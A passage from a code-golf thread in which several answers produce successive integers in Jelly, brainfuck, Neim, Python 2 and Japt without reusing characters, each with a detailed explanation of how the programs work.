**[0, [0, 0]**, and the eighth and last **[0, [0, [0, [0, [0, [0, [0, [0, 0]]]]]]]]**. `ḍ` is the *divisibility* atom; for arguments **x** and **y**, it returns **1** is **x** is divisible by **y**, **0** if not. `Ḅ` is a no-op for integers, so `ḍḄ` tests **0** for divisibility by each integer in the constructed array. **0** is divisible by itself, so we get **[1, [1, [1, [1, [1, [1, [1, [1, 1]]]]]]]]**. Now, the *unbinary* atom `Ḅ` operates on flat arrays. For a pair **[a, b]**, it simply returns **2a + b**. As mentioned earlier, `Ḅ` is a no-op for integers: an integer argument **c** is promoted to **[c]**, and **[c]** in *any* base is simply **c**. The first call to `Ḅ` reduces **[1, 1]** to **3**, thus yielding **[1, [1, [1, [1, [1, [1, [1, 3]]]]]]]**. The next call reduces **[1, 3]** to **5**, the next one **[1, 5]** to **7**, and so forth until the ninth `Ḅ` returns **17**. ``` +Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ ``` `Ṇ` is the *flat logical NOT* atom and maps the implicit argument **0** to **1**. `+` is the addition atom, so each of the eighteen copies of `+Ṇ` increment the previous return value (initially **0**). The whole program thus returns **18**. ``` CNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNC ``` `C` is the *complement* atom and maps its argument **z** to **1-z**. `N` is the *negate* atom and maps its argument **z** to **-z**. Together, `CN` maps **z** to **-(1-z) = z-1**, so the eighteen copies turn the implicit argument **0** into **-18**. A final application of `C` yields `1 - (-18) = 19`. ``` ĖḌĖḌ ``` The *enumerate* atom `Ė` enumerates the items in an array, creating index-value pairs. The implicit argument **0** is promoted to **[0]**, then `Ė` yields **[[1, 0]]**. The *undecimal* atom converts a flat array from base 10 to integer, yielding **[10]** in this particular case. The second call to `Ė` transforms **[10]** into **[[1, 10]]**, which the second `Ḍ` finally transforms into **[20]**. ### 21 – 30 ``` ṫṣȦJṫȦ⁸ȦJ ``` The *tail* atom `ṫ` (a dyad) select the postfix of its left argument that starts at the index (1-based and modular) specified in its right argument, promoting a left integer argument **x** to **[x]**. When called with both arguments set to **0**, `ṫ` returns **[0]**. The *any and all* atom `Ȧ` returns **1** if its argument is truthy and contains no zeroes at any depth, **0** otherwise. Here, we simply use it as an identity function to return the implicit argument **0**. The *split at* atom `ṣ` partitions its left argument **[0]** at occurrences of its right argument **0**, so it returns **[[], []]** here. The *indices* atom `J` discards the elements of the return value and replaces them with their indices, yielding the range **[1, 2]** in this specific case. `Ȧ` and `ṫ` both work as before, so they reduce **[1, 2]** to the postfix that starts at the last index, yielding **[2]**. In niladic links, the constant `⁸` holds **[]**. This is an unparseable nilad, i.e., it doesn't fit into the chain in any way. As a result, the previous return value (**[2]**) is printed to STDOUT, then replaced with the nilad's value (**[]**). Since **[]** is falsy, `Ȧ` transforms it into **0**. The `J` atom promotes **0** to **[0]**, then returns the list of its indices (**[1]**), which is printed implicitly when the program finishes. ``` 22 ``` Another literal. Repdigits seem to be the best place to use them. ``` “@ṃ» ``` This uses Jelly's inbuilt string compression. The indices of **@** and **ṃ** in Jelly's code page are **64** and **220** and string literals can contain 250 different characters, so this first computes the integer **250 × 65 + 220 = 16470**. **16470** is divisible by 3, so the quotient **16470/3 = 5490** encodes a printable ASCII character or a linefeed. There are 96 of these and **5490 = 96 × 57 + 18**, meaning that we've decoded the printable ASCII character at the 0-based index **18**, which is **'2'**. We're left with **57**, which is also divisible by **3**, so the quotient **57/3 = 19 = 96 × 0 + 19** encodes printable ASCII character at the 0-based index **18**, which is **'3'**. This leaves **0**; the decoding process stops. The generated characters are concatenated to form **"23"** ``` !ḤḤ! ``` The *factorial* atom `!` turns the implicit argument **0** into **1**. Two invocations of the *unhalve* atom `Ḥ` turn **1** into **2**, then **2** into **4**. Finally, `!` computes **4! = 24**. ``` ³HH ``` In absence of command-line arguments, the constant `³` holds **100**. Two invocations of the `H` turns **100** into **50**, then **50** into **25**. ``` ØaM ``` The constant `Øa` holds the lowercase alphabet. The *maximal* atom `M` yields all indices of maximal items, and since **z** is the largest lowercase letter, the result is **[26]**. ``` ;;;;;;;;;;;;;;;;;;;;;;;;;;;¬¬ḅ¬ ``` Twenty-six copies of the *concatenate* atom `;` concatenate the initial return value **0** and twenty-six instances of the default argument **0**, building an array of 27 zeroes. `¬` is the *logical NOT* atom, so `;¬` appends a **1** to the array of zeroes. The next `¬` negates all elements in the array, leaving us with an array of 27 ones and 1 zero. `ḅ` is the *unbase* atom and converts a digit array from its left argument from the base specified in its right argument to integer. `ḅ¬` converts from unary to integer, so it simply performs a sum. For an array of 27 ones, this returns **27**. ``` irið8c ``` The *index of* atom `i` promotes its left argument **0** to **[0]**, then find the index of its right argument **0** in that array, yielding **1**. The *range* atom `r` constructs an ascending or descending range from it's left argument to its right one. The right argument is the implicit argument **0**, so this yields **[1, 0]**. A second invocation of `i` finds the index of **0** in **[1, 0]**, yielding **2**. `ð` begins a new, dyadic chain. Since the preceding chain was niladic, both left and right argument of this chain will be equal the first chain's return value (**2**). `c` in the *combinations* atom. With left argument **8** and right argument **2**, it counts all unique, unordered 2-combinations of a set of **8** elements, returning **8C2 = 8!/(6!2!) = 28**. ``` ⁶ḲĠṂ°İṂĊ ``` The constant `⁶` holds a space character and sets argument and return value to **' '**. The *words* atom `Ḳ` promotes the character **' '** to the singleton string **" "** and splits it at spaces, yielding **[[], []]**. The *group* atom `Ġ` groups all indices of equal elements. Since both elements of the last return value are equal, it returns **[[1, 2]]** here. The *minimum* atom extracts a minimal (the only) element of this array, yielding **[1, 2]**. The *degree* atom `°` converts both integers from sexagesimal degrees to radians, yielding **1° × 2π/360° = π/180** and **2° × 2π/360° = π/90**. The *inverse* atom takes the multiplicative inverses, yielding **180/π ≈ 57.3** and **90/π ≈ 28.6**. Then, `Ṃ` once more takes the minimum, yielding **28.6**. Finally, the *ceil* atom `Ċ` transforms **28.6** into **29**. ``` œṡ¹ẆẆTUṖṖṖṖP ``` The *identity* atom `¹` returns **0** for the implicit argument **0**. The *split around* atom `œṡ` promotes both of its arguments (both **0**) to **[0]**, then splits **[0]** around contiguous subarrays equal to **[0]**. This yields **[[], []]**. The *sliding window* atom `Ẇ` builds all contiguous subarrays of its argument. The first instance transforms **[[], []]** into **[[[]], [[]], [[], []]]**, the second instance transforms **[[[]], [[]], [[], []]]** into **[[[[]]], [[[]]], [[[], []]], [[[]], [[]]], [[[]], [[], []]], [[[]], [[]], [[], []]]]**. The *truth* atom `T` lists all indices of truthy elements. None of the arrays at the first level are empty, so this yields **[1, 2, 3, 4, 5, 6]**. The *upend* atom `U` reverses this array, yielding **[6, 5, 4, 3, 2, 1]**. Four copies of the *pop* atom `Ṗ` remove the last four elements, leaving us with **[6, 5]**. Finally, the *product* atom `P` transforms this array into **30**. ### 31 – 40 ``` ȷ½RṪ ``` `ȷ` is a shorthand for **1 × 103 = 1000**. The *square root* atom `½` yields **31.6**, which the *range* atom `R` transforms into **[1, …, 31]**. Finally, the *tail* atom `Ṫ` extracts the last element, returning **31**. ``` LµdddddµFL ``` The *length* atom `L` promotes the implicit argument **0** to **[0]**, then takes the length to yield **1**. `µ` starts a new, monadic chain, and the result **1** becomes its argument. For arguments **x** and **y**, the *divmod* atom `d` yields **[x/y, x%y]**. Each call will have **y = 1**, so the result will always be **[x, 0]**. The first call starts with **x = 1**, yielding **[1, 0]**. `d` only operates on integers, so it vectorizes in subsequent calls. The second call yields **[[1, 0], [0, 0]]**, the third **[[[1, 0], [0, 0]], [[0, 0], [0, 0]]]**, and the fifth and last one an array of depth 5 that contains a single one and 31 zeroes. `µ` once more starts a new, monadic chain, and the array from before becomes its argument. The *flat* atom `F` unnests this array, yielding a flat array of a single one and 31 zeroes. Finally, `L` takes the length of the resulting, returning **32**. ``` 33 ``` Another repdigit, another literal. ``` WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWŒḊ ``` Each instance of the *wrap* atom transforms its argument **z** into **[z]**. With the initial return value of **0**, all 34 instances together yield **[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[0]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]**. Finally, the *depth* atom `ŒḊ` computes the maximal depth of the resulting array, returning **34**. ``` ẇɓæ«æ«æ«æ«æ«|æ«| ``` The *window exists* atom `ẇ` promotes both of its arguments (both default to **0**) to **[0]**, then tests if\*\*[0]\*\* occurs as a contiguous subarray of **[0]**. It does, so `ẇ` returns **1**. `ɓ` begins a new, dyadic chain. Since the preceding chain was niladic, both left and right argument of this chain will be equal the first chain's return value (**1**). The chain makes use of two different, dyadic atoms: *bitshift left* (`æ«`) and *bitwise OR* (`|`). A dyadic chain that starts with three or more dyads initially calls the first dyad with the chain's arguments. Here, this gives **1 << 1 = 2**. The six subsequent dyads are grouped into pairs (so-called *forks*), where the rightmost dyad is called first with the chain's arguments, then the leftmost one is called with the previous return values to both sides. For `æ«æ«`, we get **2 << (1 << 1) = 2 << 2 = 8**. Then, `æ«æ«` computes **8 << (1 << 1) = 8 << 2 = 32**. Now, `|æ«` gets us **32 | (1 << 1) = 32 | 2 = 34**. Finally, the trailing `|` acts like a *hook* and is called with the previous return value as its left argument and the chain's right argument as its right one. This returns **34 | 1 = 35**. ``` ⁹ṚḢ² ``` In absence of a second argument, the constant `⁹` holds **256**. The *reverse* atom promotes **256** to the array **[2, 5, 6]** and reverses it to yield **[6, 5, 2]**. Then, the *head* atom `Ḣ` extracts the first element, and the *square* atom `²` returns \*\*6² = 36\*. ``` ‘‘‘0‘‘‘‘‘‘‘ ``` The *increment* atom `‘` increments its argument by **1**, so `‘‘‘` turn the initial return value **0** into **3**. The following **0** is an unparseable nilad, i.e., it doesn't fit into the chain in any way. As a result, the previous return value (**3**) is printed to STDOUT, then replaced with the nilad's value (**0**). The following **7** copies of `‘` turn this **0** into **7**, which is printed implicitly when the program finishes. ``` ’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’ạ ``` The *decrement* atom `’` decrements its argument by **1**, so thirty-eight copies turn the initial return value **0** into **-38**. The *absolute difference* atom `ạ` computes the unsigned difference between **-38** and the implicit argument **0**, returning **38**. ``` -____---__________ ``` `-` is a shorthand for **-1** and sets the link's argument and return value to **-1**. Each `_` is an instance of the dyadic *subtraction* atom, whose right argument will default to **-1** if missing. First, `-____-` computes **(-1) - (-1) - (-1) - (-1) - (-1) = 3**. The following **-1** is an unparseable nilad, so the previous return value (**3**) is printed to STDOUT, then replaced with the nilad's value (**-1**). Next, `-_` computes **(-1) - (-1) = 0**, where the literal `-` sets the *left* argument of `_` and uses the return value as the right one. The following nine copies of `_` subtract the default argument **-1** from the return value, yielding **9**, which is printed implicitly when the program finishes. ``` ”(O ``` `”(` is a character literal and the *ordinal* atom `O` looks up its Unicode code point, yielding **40**. ### 41 – 47 ``` ⁵ḶxḶ⁵ị⁵ḶxḶḣṢ ``` In absence of a third command-line argument, the constant `⁵` holds **10**. The *unlength* atom `Ḷ` creates a 0-based range, specifically **[0, …, 9]** for argument **10**, to both sides of the *repeat in place* atom `x`. The latter matches elements of its left argument with repetitions of its right one, and repeats each of the elements the corresponding number of times. With **[0, …, 9]** as both left and right argument, we thus get zero zeroes, one one, two twos, etc. The *index into* atom `ị` fetches the element of its right argument at the index specified in its left one. With left argument **10** (`⁵` to its left) and right argument **[1, 2, 2, 3, 3, 3, 4, 4, 4, 4, …, 9]** (previous result), this gives **4**. The chain up to this point is followed by an unparseable nilad `⁵`, so the previous return value (**4**) in printed to STDOUT, the return value is set to **10**, and the rest of the chain is parsed as usual. As before, `⁵ḶxḶ` will yield the array **[1, 2, 2, 3, 3, 3, 4, 4, 4, 4, …, 9]**. This time, we call the *sorted* atom `Ṣ` on the argument **10**, which promotes **10** to **[1, 0]**, then sorts it to yield **[0, 1]**. The *dyadic head* atom now fetches the prefixes of lengths **0** and **1** from the result to the left, leaving us with **[[], [1]]**. When printed, nothing but **1** will remain visible. ``` ⁽{ʂ%⁽{} ``` `⁽` and its two following characters constitute a numeric literal. If **j** and **k** are their code points in Jelly's code page and **(j, k) < (124, 250)**, we get the integer **1001 + 250j + k**. The code points of **'{'**, **'}'**, and **'ʂ'** are **123**, **125**, and **167**, so the left literal evaluates to **1001 + 250 × 123 + 167 (= 31918)**, while the right one evaluates to **1001 + 250 × 123 + 125 (= 31876)**. Since the left integer is less than twice as big as the right one, the result is **(… + 167) % (… + 125) = (… + 167) - (… + 125) = 167- 125 = 42**. ``` ẊẠżv©żvżvżvọ®®Ạżvżvżvọ® ``` The *shuffle* atom `Ẋ` randomizes the order of its argument's elements; a numeric argument **z** is promoted to the range **[1, …, z]** beforehand. For the implicit argument **0**, this range is empty and `Ẋ` yields **[]**. The *all* atom `Ạ` returns **1** if all of its argument's elements are truthy, **0** if not. Since an empty array does not contain falsy elements, `Ạ` returns **1** here. The *zip with* atom `ż` (a dyad) takes arguments **x** and **y** and transposes the pair **[x, y]**. For integers **x** and **y**, this simply yields **[[x, y]]**, so this particular `ż`, called with arguments **1** and **0** (the implicit argument), returns **[[1, 0]]**. The *dyadic eval* atom `v` turns all flat arrays (containing only numbers and characters) i the left argument into strings, then evaluates the resulting strings as monadic Jelly programs with its right argument as the programs' arguments. Since **["10"]** consists solely of literals, this ignores the right argument of `v` and simply results in **[10]**. The *copy* quick `©` attaches to `v` and copies its result into the register. Later occurrences of the *recall* atom `®` (a nilad) will fetch **[10]** from the register. The next three copies of `żv` work as before, mapping **[10]** to **[[10, 0]** to **[100]** to … to **[10000]**. The *order* atom `ọ` tests how many times its left argument is divisible by its right one, so here, it computes the order of **10** (fetched with `®`) in **10000 = 104**, yielding **[4]**. The following `®` is an unparseable nilad, so the previous return value (**[4]**) is printed to STDOUT, then replaced with the nilad's value (**10**). We apply `Ạ` next, yielding **1**. (This is required as a nilad followed by a dyad would be parseable at this point.) As before, `żvżvżv` appends three zeroes to the current return value, turning **1** into **[1000]**. Finally, `ọ®` computes the order of **10** in **1000 = 103**, and **3** is printed to STDOUT when the program finishes. ``` 44 ``` Yet another repdigit, yet another literal. ``` 111111l11&K1111111Kl11& ``` First and foremost, the literal `111111` sets the argument and initial return value to **111111**. The other runs of `1` are also literals. `l` is the *logarithm* atom , which computes the logarithm of its left argument to the base specified in the right one. When called on **111111** with right argument **11**, we get **log11111111 ≈ 4.85**. The *words* atom `K` joins a list argument at spaces, after promoting a numeric/character **z** to **[z]**. Here, we simply use it to turn the link's argument **111111** into **[111111]**. (We do not require an array here, but we have run out of identity atoms.) The *bitwise AND* atom `&` takes the return values to both sides, casts them to integer if required, and computes their bitwise AND. In this particular case, it returns **[4.85 & 111111] = [4 & 111111] = [4]**. The following `1111111` is an unparseable nilad, so the previous return value (**[4]**) is printed to STDOUT, then replaced with the nilad's value (**1111111**). `K` then turns this integer into **[1111111]**. (This is once again not really required, but a nilad followed by a dyad would be parseable at this point.) As before, `l11` computes **log111111111 ≈ 5.81**, then `&` returns **[5.81 & 111111] = [5 & 111111] = [5]**. ``` ,SS ỊỊ,ÇS ÇÑÇÇÇÑ ``` This is the only program that consists of multiple user-defined links. The last link is the main link and executes when the program starts, the remaining ones are helper links. The quick `Ç` always refers to the link above the current one and executes it monadically. Likewise, the quick `Ñ` always refers to the link *below* the current one (wrapping around) and also executes it monadically. The top link consists of the **pair** atom `,` – a dyad that turns arguments **x** and **y** into **[x, y]** – and the *sum* atom `S` – a monad that promotes an integer argument **z** to **[z]** and reduces an array argument by addition. When the link `,SS` is called with an integer argument **n**, it computes **Σ[n, Σn] = Σ[n, n] = 2n**. The middle link consists of the above atoms, the aforementioned quick `Ç`, and the *insignificant* atom `Ị` – a monad that yields **1** for numeric arguments **z** with **-1 ≤ z ≤ 1**, but **0** for all others. Applying `Ị` twice to an integer argument **n** essentially replaces it with **1**, as the output of the first `Ị` (the *input* of the second one) is *always* insignificant. This result is then paired with the return value of `Ç` (called with argument **n**), and the resulting pair is reduced by `S`. In total, we compute **Σ[(|n| ≤ 1) ≤ 1, 2n] = Σ[1, 2n] = 2n + 1**. With these two helper links in place, the main link can now construct any non-negative integer by looking at its binary digits. With an initial return value of **0**, the chain `ÇÑÇÇÇÑ` computes the final result **(((((0 × 2 + 1) × 2) × 2 + 1) × 2 + 1) × 2 + 1) × 2 = ((5 × 2 + 1) × 2 + 1) × 2 = 46**. ``` ÆnÆnÆnÆnÆnÆnÆnÆnÆnÆnÆnÆnÆnÆnÆn ``` The *next prime* atom finds the smallest positive prime number that is strictly greater than its argument. With initial return value **0**, fifteen invocations of `Æn` compute the fifteenth prime number, which is **47**. [Answer] # [brainfuck](https://esolangs.org/wiki/brainfuck), score 2, ~~255~~ ~~144~~ 10 bytes ...Yeah, not the best idea since I only have 8 characters (tarpits gonna tarpit) to work with but let's see how much is possible. ~~I think this is all that's possible. :P~~ This answer demonstrates six of the eight characters brainfuck uses, the other two being `,`, which is input and `.`, which is output. ``` + >--[<->-] ``` [Visualize it online!](https://fatiherikli.github.io/brainfuck-visualizer/#MToKKwoKPiBtb3ZlIHRvIHRoZSBuZXh0IGNlbGwKCjI6Cj4tLVs8LT4tXQ==) ## Explanation Every number is created and stored on the starting cell on the tape. Heavily relies on the wrapping cells, which are not implemented in a few interpreters. **1**: ``` [ 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 ] ^ + increment the current cell [ 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 ] ^ ``` **2**: ``` [ 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 ] ^ > move to the next cell -- decrement the current cell twice [ 0 |254| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 ] ^ [ while the current cell is not 0 < move to the previous cell - decrement the current cell [255|254| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 ] ^ > move to the next cell - decrement the current cell [255|253| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 ] ^ ] repeat while the current cell is not 0 ... [ 3 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 ] ^ [ 2 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 ] ^ [ 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 ] ^ ``` [Answer] # [Neim](https://github.com/okx-code/Neim/), score 38, 327 bytes ``` 1: 𝔼 2: 2 3: 3 4: 4 5: 5 6: 6 7: 7 8: 8 9: 9 10: β 11: γ 12: δ 13: ε 14: ζ 15: η 16: θ 17: ι 18: κ 19: λ 20: μ 21: ν 22: ξ 23: π 24: ρ 25: σ 26: ς 27: τ 28: υ 29: φ 30: χ 31: ψ 32: ω 33: >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 34: <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<𝐀 35: 𝐓0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻0𝐓𝔻 36: ℂ𝐋𝐠𝐋𝐠𝐋𝐠𝐋𝐝𝐬𝕏𝐬 37: α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊α𝕊 38: 𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝔸𝐥 ``` Explanation: * For 1, we use the 'check for equality' token, here exploiting that when Neim attempts to pop on empty input, it gets 0. As 0 and 0 are equivalent, this pushes 1 which is implicitly printed * From 2 through 9, we just use numeric literals. * From 10 through 32, Neim actually has one byte constants for all of them (yes, it's crazy). * For 33, we only use the increment command. On the first byte, Neim tries to pop something so it can increment it, but since the input is empty, it defaults to popping `0`. * For 34, we use the same approach, but decrementing, and taking the absolute value. * For 35, we are exploiting the fact that zero factorial is one, and we use that by duplicating the one and repeatedly adding * For 36, we use `ℂ` to check 0 and 0 for co-primality, which they are. This pushes 1. Then we get the first prime using `𝐋`, which results in a singleton list containing just 2. We then get the greatest element (`𝐠`), which pushes 2 as a number. Then we repeat this process until we get the list `[2 3 5 7 11]`. After that, we use `𝐝` to calculate the deltas, resulting in the list `[1 2 2 4]`. Next, we use `𝐬` to get the sum - which is 9 - then we calculate exclusive range from 0 to 9, resulting in `[0 1 2 3 4 5 6 7 8]`. Finally, `𝐬` is used again to get 37. * For 37, `α` is a constant that represents negative one, and we repeatedly push it and subtract (again exploiting the fact that when we attempt popping on empty input, 0 is pushed) * For 38, once again using the default 0 for empty input, we keep appending 0 to itself, creating a long list, then calculating the length. [Can be tried here](http://178.62.56.56/neim) [Answer] # Python 2, 15 Here's a start, looking for more *Thanks to leo whose tip helped me to get to 15* ``` [[[]]>[]][[]>[]]>>[[]>[]][[]>[]] ``` --- ``` 2 ``` --- ``` import math print'%i'%math.pi ``` --- ``` ((()<())<())<<((()<())<())<<((()<())<()) ``` --- ``` 5 ``` --- ``` 6 ``` --- ``` 7 ``` --- ``` 8 ``` --- ``` 9 ``` --- ``` 11^1 ``` --- ``` 33/3 ``` --- ``` 4--4--4 ``` --- ``` __debug__+__debug__+__debug__+__debug__+__debug__+__debug__+__debug__+__debug__+__debug__+__debug__+__debug__+__debug__+__debug__ ``` --- ``` q=""=="";qq=q=="";qqq=~q*~q*~q;~qqq*~q*~qq ``` --- ``` 0xF ``` [Answer] # [Japt](https://github.com/ETHproductions/japt), 448 bytes, score 42 A large collaboration between [Shaggy](https://codegolf.stackexchange.com/users/58974/shaggy), [ETHproductions](https://codegolf.stackexchange.com/users/42545/ethproductions), & [Oliver](https://codegolf.stackexchange.com/users/61613/oliver). ``` v y Íà Qiiii)iiii)âQ ÂHq LÁL ´Vn´VnVnVn 8 9 A B C D E F G J-----J---J---J---J [¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾]x ;Iìw ~~½e½e½e½e~½e½ ++T+++T+++T+++T+++T+++T 22 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 4á 5² °UU°°°U°°U°°U°°U°°U »³³ 7/¼ $'_____________________________b'$bb ZµÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"aa Sc 33 Mg011 ## 6p Rí í í í í è. `¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥`l ¨N|N¹òò¹m···m|¹mò¹m···m|¹mò¹m···m|¹o º¤¤*º¤*º¤ (Å<<(Å<<(Å<<(Å<<(Å<<(Å^(Å<<(Å<<(Å<<(Å^(Å Y±Y¶YY±YY±Y±Y¶YY±YY±Y±Y¶YY±Y ``` These (useful) chars are left: ``` !%&,:=>?@OPWX\dfhjkrstuz{}¡¢£¦§©ª«¬®¯¸ÀÃÆÇÈÐßãäåæçéêëîïñóôõö×øÿ ``` --- ## Explanations A couple of things to know about Japt before we start, that I've made frequent use of. Firstly, Japt has 6 variables reserved for input, those being the uppercase letters `U-Z`. If no input is passed through those variables, they all default to `0`. The second thing is covered in [this tip](https://codegolf.stackexchange.com/a/121417/58974). Click on any snippet to try it in the [online interpreter](https://ethproductions.github.io/japt). --- [``` v ```](http://ethproductions.github.io/japt/?v=1.4.5&code=dg==&input=) When applied to a number, the `v` method takes an integer **n** as an argument, and returns **1** if the number is divisible by **n**, **0** if not. If **n** isn't supplied then it defaults to **2**. **0** (the default value for `U`) *is* divisible by **2**, so this gives us our **1**. --- [``` y ```](http://ethproductions.github.io/japt/?v=1.4.5&code=eQ==&input=) Very similar to the first one. When applied to a number, the `y` method takes an integer **n** as an argument, and returns the GCD of the two numbers. If **n** isn't supplied then it defaults to **2**. Since **0** is divisible by **2**, **GCD(0, 2)** gives us our **2**. --- [``` Íà ```](https://ethproductions.github.io/japt/?v=1.4.5&code=zeA=&input=) `Í` is the shortcut for `n(2)` or `2`-`this`. Because we have no input, we default `this` to `0`, which results in `2-0 = 2`. `à` returns the number of combinations of `[1...this]`, which returns **3** --- [``` Qiiii)iiii)âQ ```](https://ethproductions.github.io/japt/?v=1.4.5&code=UWlpaWkpaWlpaSniUQ==&input=) `Q` defaults to a single quotation mark. `i` on a string inserts another string at the beginning; as explained in **#3**, each `iiii)` is equivalent to `.i("i".i("i"))` in JS, thus inserting two copies of `i` at the beginning of the string. Do this twice and you have the string `iiii"`. `âQ` then simulates `.search(Q)`, giving the index of the first `"` in the string, which is **4**. --- [``` ÂHq ```](http://ethproductions.github.io/japt/?v=1.4.5&code=wkhx&input=) `H` is the constant for **32**. When applied to a number the `q` method, which takes integer **n** as an argument, returns the **n**th root of that number. If **n** is not supplied the default value is **2** so `Hq` gives us the square root of 32 which is approximately **5.6568**. `Â` is the shortcut for `~~`, which floors the result, giving us **5**. --- [``` LÁL ```](http://ethproductions.github.io/japt/?v=1.4.5&code=TMFM&input=) `L` is preset to **100**, and `Á` is the shortcut for `>>>` (zero-fill bitwise right shift). `100>>>100` is the same as `100>>>4` (the right operand wraps mod 32), which is **6**. --- [``` ´Vn´VnVnVn ```](http://ethproductions.github.io/japt/?v=1.4.5&code=tFZutFZuVm5Wbg==&input=) As noted before, `V` defaults to **0**. `´` is the shortcut for the `--` operator, so the code is equivalent to the following JS: ``` (--V).n((--V).n(V.n(V.n()))) ``` `X.n(Y)` is equivalent to **Y - X**, or **-X + Y**; the first `--V` returns **-1**, and the second **-2**, so this is about equivalent to **-(-1) + (-(-2) + (-(-2) + -(-2)))**. Simplifying, we get **1 + 2 + 2 + 2 = 7**. --- ``` 8 9 ``` Literally, **8** and **9**. --- ``` A B C D E F G ``` These are the constants for **10**-**16**, inclusive. --- [``` J-----J---J---J---J ```](http://ethproductions.github.io/japt/?v=1.4.5&code=Si0tLS0tSi0tLUotLS1KLS0tSg==&input=) `J` is preset to **-1**. The Japt interpreter somehow manages to parse this correctly, as `(J--) - (--J) - (--J) - (--J) - (--J)`. Doing some more math, we find that this is equivalent to **(-1) - (-3) - (-4) - (-5) - (-6)**, or **-1 + 3 + 4 + 5 + 6 = 17**. --- [``` [¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾]x ```](https://ethproductions.github.io/japt/?v=1.4.5&code=W76+vr6+vr6+vr6+vr6+vr6+vr6+vr6+vl14&input=) `¾` is, as you might guess, a shortcut for `.75`. We put 24 copies of **0.75** in an array, then sum with `x`, giving **0.75 \* 24 = 18**. --- [``` ;Iìw ```](http://ethproductions.github.io/japt/?v=1.4.5&code=O0nsdw==&input=) I think this is my favourite one. `;` at the beginning of the program changes the values of some of the Japt constants; without it `I` is **64**, but with it, `I` is **91**. `ìw` converts it to a list of digits and runs `w` on the list, reversing the array, then converts back to a number to get us **19**. --- [``` ~~½e½e½e½e~½e½ ```](http://ethproductions.github.io/japt/?v=1.4.5&code=fn69Zb1lvWW9ZX69Zb0=&input=) `½` is a shortcut for `.5`. `e` on a number **x** takes in an argument **y** and returns **x \* 10y**. So the chain of calculations that happens is: ``` ½e½ 1.5811 (.5 * sqrt(10)) ~ -2 ½e 0.005 (.5 * (10 ** -2)) ½e 0.5058 ½e 1.6024 ½e 20.0138 ``` And the final `~~` serves to floor this to an integer, yielding our result of **20**. --- [``` ++T+++T+++T+++T+++T+++T ```](http://ethproductions.github.io/japt/?v=1.4.5&code=KytUKysrVCsrK1QrKytUKysrVCsrK1Q=&input=) `T` is preset to **0**. `++` is the increment operator in JS and also in Japt; `T+++T` is parsed as `(T++) + T`, but `++T+++T` is parsed as `(++T) + (++T)`, so this is equivalent to the JS code ``` (++T) + (++T) + (++T) + (++T) + (++T) + (++T) ``` The result is **1 + 2 + 3 + 4 + 5 + 6**, which sums to **21**. --- ``` 22 ``` A literal **22**. --- [``` ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ```](http://ethproductions.github.io/japt/?v=1.4.5&code=xMTExMTExMTExMTExMTExMTExMTExMQ=&input=) `Ä` is a shortcut for `+1`, so this simply sums **23** `1`s. --- [``` 4á ```](http://ethproductions.github.io/japt/?v=1.4.5&code=NOE=&input=) This finds the number of permutations of `[1, 2, 3, 4]`, which is **4! = 24**. --- [``` 5² ```](http://ethproductions.github.io/japt/?v=1.4.5&code=NOE=&input=) `²` is a shortcut for `p2`, which raises a number to the power of two. **5 \*\* 2** is **25**. --- [``` °UU°°°U°°U°°U°°U°°U ```](https://ethproductions.github.io/japt/?v=1.4.5&code=sFVVsLCwVbCwVbCwVbCwVbCwVQ==&input=) `°` is a shortcut for the `++` operator, or if it cannot be parsed as such, `+ +`. As noted before, when there is no input, `U` defaults to **0**. So the code is equivalent to `(++U), (U++) + + (++U) + + (++U) + + (++U) + + (++U) + + (++U)`, which is very similar to **#17**: `U` is first incremented to `1`, then 